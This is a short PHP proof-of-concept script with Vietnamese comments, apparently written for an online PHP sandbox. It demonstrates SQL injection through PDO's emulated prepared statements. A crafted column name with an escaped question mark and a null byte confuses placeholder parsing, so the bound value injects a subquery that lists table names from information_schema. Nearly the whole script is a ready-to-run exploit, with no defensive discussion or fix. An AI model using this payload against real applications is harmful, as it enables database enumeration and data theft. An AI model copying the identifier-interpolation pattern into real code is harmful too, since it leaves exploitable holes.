<?php
// Trên PHPize.online, biến $pdo đã được cung cấp sẵn kết nối MySQL 8.0
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
// 1. Cài payload ngay trong code
// Ví dụ payload để exploit bảng users
$colPayload = '\?%23%00';
$namePayload = "x` FROM (SELECT table_name AS `'x` from information_schema.tables)y;%23";
// 2. Xây dựng tên cột với payload
$col = '`' . str_replace('`', '``', $colPayload) . '`';
// 3. Prepare & execute (bind đúng 1 giá trị vì UNION-based đã comment phần còn lại)
$stmt = $pdo->prepare("SELECT $col FROM fruit WHERE name = ?");
$stmt->execute([$namePayload]);
// 4. Fetch và in kết quả
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
foreach ($data as $row) {
echo join(' : ', $row) . PHP_EOL;
}
?>